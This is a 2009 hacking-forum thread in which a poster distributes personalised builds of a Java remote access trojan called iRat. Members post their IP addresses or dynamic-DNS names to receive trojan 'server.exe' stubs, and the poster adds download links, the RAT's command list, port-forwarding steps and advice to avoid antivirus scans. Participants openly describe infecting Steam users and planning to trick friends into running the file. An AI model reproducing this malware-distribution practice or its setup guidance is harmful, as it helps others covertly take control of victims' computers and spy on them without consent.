Thread: [\[RELEASE\] iRat Taking request for server.exe](#)

MAJORglory - March 6, 2009, 7:07 pm

As you know my previous post in the Video Tutorial section that I didn't have permission to post the compiler. I still don't but he gave me permission to make it for HF. Just leave your ip on this thread, or PM me I'll make it an link it to you!

Remember DNS GUYS I don't want to constantly to have to make your server.exe over again!

(Mar 5, 2009 03:04 PM)MAJORglory Wrote: [\[CITE\]](#) I was looking for a trojan and i found this i've used this before its great! I did not make this the person who made the video is coincidently has the same name MAJOR. enjoy guys!

CLICK THE VIDEO TO SEE IT BETTER

Video Description

Hello, Hackers and aspiring Hackers ;P! I'm here to show you share to you what I've made. I've been a leecher all my life. So i decided to do things myself. I made a trojan in JAVA and its Fully Undetected by any Antivirus.

Download

<http://#.com/files/205472189...>

Remember! Stay safe! Don't hack other hackers!

Here are some features:

Attention: all are case sensitive!

ss #
getver
update
getlog
getScreen
killt
message (message)
shutdown

You guys are probably asking how you can connect to your victims, one problem is that i have not finished the GUI for the server creation. For now you must tell me your ip so i can compile one for you. When i send you the file, don't click it...don't infect yourself...send it to other people..by the way don't ever upload this file on antivirus sites because it will become detected.

Be sure when you email me with your IP its not dynamic (always changing). So go to <http://www.no-ip.com> to sign up for a domain. That domain should be your DNS. Also download the DNS Updater. Google it or check out <http://www.No-IP.com>

What Rights - March 6, 2009, 7:11 pm

the DNS right? ok too short

24.25.5.148

24.25.5.147

Either one i don't think it matters, Thanks dude, PM it to me!

MAJORglory - March 6, 2009, 7:14 pm

Yeah

<http://No-ip.com>

What Rights - March 6, 2009, 7:17 pm

I posted them, for windows you can find your DNS by.....::: ipconfig /all :::..... in command prompt.

MAJORglory - March 6, 2009, 7:19 pm

For those who are confused. Follow this guy forget about the port forwards and shit just make a DDNS = thats your ip give it to me. Get an updater also.

NOW YOU GIVE ME A DNS qwertyu.no-ip.org
is an example.

What Rights - March 6, 2009, 7:37 pm

C0nn3r.myvnc.com -----

I am sorry for my stupidity, its late and im not thinking strait, but i finally got one.

MAJORglory - March 6, 2009, 7:40 pm

<https://hackforums.net/showthread.php?tid=51649&highlight=no-ip>

k i got it give me an hour or so i'm doing chores check if your iRat even opens -.- or compatible.

What Rights - March 6, 2009, 7:42 pm

OK, thanks i will do, and ohh please tell me when its done anyways, thanks MAJOR!

MAJORglory - March 6, 2009, 8:51 pm

I'm making it now, give me 20

Your server CONNER.

<http://#.com/files/206300735/dServer.rar>

What Rights - March 6, 2009, 9:11 pm

Holy shit dude, thank you so much, i cant even tell you how much i thank you, i took up an hour of your time for me to benefit. You are ridiculously helpful, If i could plus you rep man i deff would!!!!

MAJORglory - March 6, 2009, 9:15 pm

No prblem try it yourself first and test it out don't give it to people and start messaging them right away lol, they gonna book you hard

What Rights - March 6, 2009, 9:23 pm

haha i have this bottled up so i can attack my friends, im a beast at social engineering, and i could make a computer analyst open a .exe. haha

MAJORglory - March 6, 2009, 9:25 pm

make sure to forward ports 248 39 349 turn off your firewall you won't get any connections

What Rights - March 6, 2009, 9:30 pm

Ok man, thanks. How would i get this to run on another computer? when its already executed. Its not working..... I know its something im doing wrong. I run the dserver.exe and then i run irat.exe. when i do a command like "message hello" it says packet send error.

Brent328 - March 6, 2009, 9:45 pm

...He tells you to completely turn off your firewall and gives you a .exe to run? ahhh[] []

What Rights - March 6, 2009, 9:47 pm

Its a server that is created from DNS. It is made so that it is only connected via my IP.

MAJORglory - March 6, 2009, 9:49 pm

-_- i have no intentions..using prorat proshit whatever you still have to turn off your firewall or make exceptions. You have to port forward TCP given ports above. Or restart router!
you have to see a connection first. if you see the connection , connect to it by pressing ss 0

What Rights - March 6, 2009, 9:55 pm

Ok thanks major your a big help!

MAJORglory - March 6, 2009, 9:57 pm

restart usually works, i infected a bunch of noobs on steam but i'm getting nothing i'mgonna restart it usually fix problems

hurmony - March 6, 2009, 10:01 pm

Can i try a copy?

[To Short]

MAJORglory - March 6, 2009, 10:03 pm

username your server.exe <http://#.com/files/206309977/dServer.zip>

hurmony - March 6, 2009, 10:04 pm

TYVM :).

{Probably To Short}

MAJORglory - March 7, 2009, 8:52 am

Taking more request till the end of today

MAJORglory - March 7, 2009, 11:17 am

add me on msn flip_posterizer@hotmail.com

Cumni_I_Love_You - March 8, 2009, 9:48 am

I PM'd you. I have a no-ip now if you need anymore information. I sent you two PM's.

MAJORglory - March 8, 2009, 4:48 pm

REMEMBER! IF I GAVE YOU A SERVER YOU WILL NOT GET A CONNECTION IF YOUR PORTS ARE NOT FORWARD! 248 39 349 TCP PORTS!

whiterabbit7500 - March 8, 2009, 5:10 pm

any chance i can get a server as well plz?

yahooka.no-ip.org

Brent328 - March 8, 2009, 10:13 pm

(Mar 8, 2009 05:10 PM)whiterabbit7500 Wrote: [\[CITE\]](#) any chance i can get a server as well plz?

yahooka.no-ip.org

you shouldn't post your no-ip publically, ironically it makes it really easy to get your IP.

98.64.xxx.xxx

Uchiha-Itachi - March 9, 2009, 12:30 am

iRat does not work for me

The rat don't even open

application fail to start because MSVCR7.dll was not found

SoMuchMudkip - March 9, 2009, 2:53 pm

I remember back in the good ol' days when members with less than 200 post got flamed for posting UD anything. lol.

Zaubertrick - November 26, 2009, 6:47 am

Great Tutorial!

Got a no-ip now. U got a PM.

Thanks!

VetalQaHacker - December 23, 2009, 2:59 am

i need the this program please guys.....

<https://hackforums.net/showthread.php?tid=56316>

please send on mail turcanu_vitalik@mail.ru hack 4Ever ? ?

VetalQaHacker - December 23, 2009, 4:41 am

plz help error:MSVCR71.dll Java Runtime Evironment not fount (java is instaled)

PlaySkool - December 26, 2009, 12:23 am

hey i would like irat. any chance you would let me in on it?

Th3G0D - September 4, 2010, 6:32 am

This guy is not responding. i have bought 2 lic. of using his IRAT but the software stopped working and Forbidden (Author) is not available or communicating. Please do not buy unless support is re-established.
